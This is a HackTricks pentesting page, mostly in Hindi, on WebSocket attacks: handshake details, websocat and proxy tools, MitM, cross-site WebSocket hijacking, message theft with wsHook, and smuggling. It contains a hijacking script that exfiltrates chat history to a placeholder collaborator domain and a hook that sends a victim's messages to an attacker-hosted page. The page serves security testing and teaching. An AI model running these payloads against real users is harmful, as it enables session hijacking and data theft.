WebSocket Attacks

Support HackTricks

What are WebSockets

WebSocket कनेक्शन एक प्रारंभिक HTTP हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें दीर्घकालिक होने के लिए डिज़ाइन किया गया है, जो किसी भी समय द्विदिशीय संदेश भेजने की अनुमति देता है बिना लेन-देन प्रणाली की आवश्यकता के। यह WebSockets को उन अनुप्रयोगों के लिए विशेष रूप से फायदेमंद बनाता है जिन्हें कम विलंबता या सर्वर-प्रारंभित संचार की आवश्यकता होती है, जैसे कि लाइव वित्तीय डेटा स्ट्रीम।

Establishment of WebSocket Connections

WebSocket कनेक्शन स्थापित करने पर विस्तृत विवरण यहां पहुंचा जा सकता है। संक्षेप में, WebSocket कनेक्शन आमतौर पर क्लाइंट-साइड जावास्क्रिप्ट के माध्यम से आरंभ किए जाते हैं जैसा कि नीचे दिखाया गया है:

var ws = new WebSocket("wss://normal-website.com/ws");

wss प्रोटोकॉल TLS के साथ सुरक्षित WebSocket कनेक्शन को दर्शाता है, जबकि ws एक असुरक्षित कनेक्शन को इंगित करता है।

कनेक्शन स्थापित करते समय, HTTP के माध्यम से ब्राउज़र और सर्वर के बीच एक हैंडशेक किया जाता है। हैंडशेक प्रक्रिया में ब्राउज़र एक अनुरोध भेजता है और सर्वर प्रतिक्रिया करता है, जैसा कि निम्नलिखित उदाहरणों में दर्शाया गया है:

ब्राउज़र एक हैंडशेक अनुरोध भेजता है:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

सर्वर का हैंडशेक प्रतिक्रिया:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

The connection remains open for message exchange in both directions once established.

Key Points of the WebSocket Handshake:

  • The Connection and Upgrade headers signal the initiation of a WebSocket handshake.

  • The Sec-WebSocket-Version header indicates the desired WebSocket protocol version, usually 13.

  • A Base64-encoded random value is sent in the Sec-WebSocket-Key header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.

  • The Sec-WebSocket-Accept header in the server's response is a hash of the Sec-WebSocket-Key, verifying the server's intention to open a WebSocket connection.

These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.

Linux console

You can use websocat to establish a raw connection with a websocket.

websocat --insecure wss://10.10.10.10:8000 -v

या websocat सर्वर बनाने के लिए:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

यदि आप पाते हैं कि क्लाइंट आपके वर्तमान स्थानीय नेटवर्क से HTTP websocket से जुड़े हुए हैं, तो आप ARP Spoofing Attack का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला किया जा सके। एक बार जब क्लाइंट आपसे कनेक्ट करने की कोशिश कर रहा हो, तो आप इसका उपयोग कर सकते हैं:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

आप टूल https://github.com/PalindromeLabs/STEWS का उपयोग करके स्वचालित रूप से websockets में ज्ञात vulnerabilities को खोजने, फिंगरप्रिंट करने और खोजने के लिए कर सकते हैं।

Websocket Debug tools

  • Burp Suite MitM websockets संचार का समर्थन करता है जिस तरह से यह नियमित HTTP संचार के लिए करता है।

  • socketsleuth Burp Suite एक्सटेंशन आपको Burp में Websocket संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, इतिहास प्राप्त करके, interception rules सेट करके, match and replace नियमों का उपयोग करके, Intruder और AutoRepeater का उपयोग करके।

  • WSSiP: "WebSocket/Socket.io Proxy" के लिए संक्षिप्त, यह टूल, जो Node.js में लिखा गया है, कैप्चर, इंटरसेप्ट, कस्टम संदेश भेजने और क्लाइंट और सर्वर के बीच सभी WebSocket और Socket.IO संचार को देखने के लिए एक उपयोगकर्ता इंटरफ़ेस प्रदान करता है।

  • wsrepl एक इंटरएक्टिव websocket REPL है जिसे विशेष रूप से पेनट्रेशन टेस्टिंग के लिए डिज़ाइन किया गया है। यह आने वाले websocket संदेशों को देखने और नए संदेश भेजने के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को स्वचालित करने के लिए एक उपयोग में आसान ढांचा है।

  • https://websocketking.com/ यह एक वेब है जो अन्य वेब के साथ संवाद करने के लिए websockets का उपयोग करता है।

  • https://hoppscotch.io/realtime/websocket अन्य प्रकार के संचार/प्रोटोकॉल के बीच, यह एक वेब है जो अन्य वेब के साथ संवाद करने के लिए websockets का उपयोग करता है।

Websocket Lab

Burp-Suite-Extender-Montoya-Course में आपके पास websockets का उपयोग करके एक वेब लॉन्च करने के लिए कोड है और इस पोस्ट में आप एक व्याख्या पा सकते हैं।

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, जिसे cross-origin WebSocket hijacking के रूप में भी जाना जाता है, को Cross-Site Request Forgery (CSRF) का एक विशिष्ट मामला माना जाता है जो WebSocket हैंडशेक को प्रभावित करता है। यह vulnerability तब उत्पन्न होती है जब WebSocket हैंडशेक केवल HTTP cookies के माध्यम से प्रमाणित होते हैं बिना CSRF tokens या समान सुरक्षा उपायों के।

हमलावर इसको एक दुष्ट वेब पृष्ठ होस्ट करके शोषण कर सकते हैं जो एक कमजोर एप्लिकेशन के लिए क्रॉस-साइट WebSocket कनेक्शन शुरू करता है। परिणामस्वरूप, इस कनेक्शन को एप्लिकेशन के साथ पीड़ित के सत्र का हिस्सा माना जाता है, जो सत्र प्रबंधन तंत्र में CSRF सुरक्षा की कमी का लाभ उठाता है।

Simple Attack

ध्यान दें कि जब websocket कनेक्शन स्थापित किया जाता है तो cookie सर्वर को भेजी जाती है। सर्वर इसे विशिष्ट उपयोगकर्ता को उसके websocket सत्र से संबंधित करने के लिए उपयोग कर सकता है जो भेजी गई कुकी पर आधारित है।

फिर, यदि उदाहरण के लिए websocket सर्वर एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है यदि एक msg "READY" भेजा जाता है, तो एक सरल XSS कनेक्शन स्थापित करते हुए (cookie स्वचालित रूप से पीड़ित उपयोगकर्ता को अधिकृत करने के लिए भेजी जाएगी) "READY" भेजने से बातचीत का इतिहास प्राप्त कर सकेगा।

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

क्रॉस ओरिजिन + एक अलग उपडोमेन के साथ कुकी

इस ब्लॉग पोस्ट में https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ हमलावर ने एक उपडोमेन में मनमाना Javascript निष्पादित करने में सफल रहा जहां वेब सॉकेट संचार हो रहा था। चूंकि यह उपडोमेन था, कुकी भेजी जा रही थी, और चूंकि वेबसॉकेट ने ओरिजिन की सही जांच नहीं की, इसके साथ संवाद करना और इससे टोकन चुराना संभव था।

उपयोगकर्ता से डेटा चुराना

आप जिस वेब एप्लिकेशन की नकल करना चाहते हैं उसे कॉपी करें (उदाहरण के लिए .html फ़ाइलें) और उस स्क्रिप्ट के अंदर जहां वेब सॉकेट संचार हो रहा है, यह कोड जोड़ें:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

अब wsHook.js फ़ाइल को https://github.com/skepticfx/wshook से डाउनलोड करें और इसे वेब फ़ाइलों के फ़ोल्डर के अंदर सहेजें। वेब एप्लिकेशन को उजागर करके और एक उपयोगकर्ता को इससे कनेक्ट करने के लिए, आप websocket के माध्यम से भेजे गए और प्राप्त संदेशों को चुरा सकेंगे:

sudo python3 -m http.server 80

Race Conditions

WebSockets में Race Conditions भी होते हैं, इस जानकारी को और जानने के लिए देखें.

Other vulnerabilities

चूंकि Web Sockets एक तंत्र हैं डेटा को सर्वर साइड और क्लाइंट साइड पर भेजने के लिए, यह इस पर निर्भर करता है कि सर्वर और क्लाइंट जानकारी को कैसे संभालते हैं, Web Sockets का उपयोग कई अन्य कमजोरियों जैसे XSS, SQLi या किसी अन्य सामान्य वेब vuln को एक websocket से उपयोगकर्ता के इनपुट का उपयोग करके शोषण करने के लिए किया जा सकता है।

WebSocket Smuggling

यह कमजोरी आपको रिवर्स प्रॉक्सी प्रतिबंधों को बायपास करने की अनुमति दे सकती है, जिससे उन्हें विश्वास हो कि websocket संचार स्थापित किया गया था (भले ही यह सच न हो)। यह एक हमलावर को छिपे हुए एंडपॉइंट्स तक पहुँचने की अनुमति दे सकता है। अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:

Upgrade Header Smuggling

References

Support HackTricks

Last updated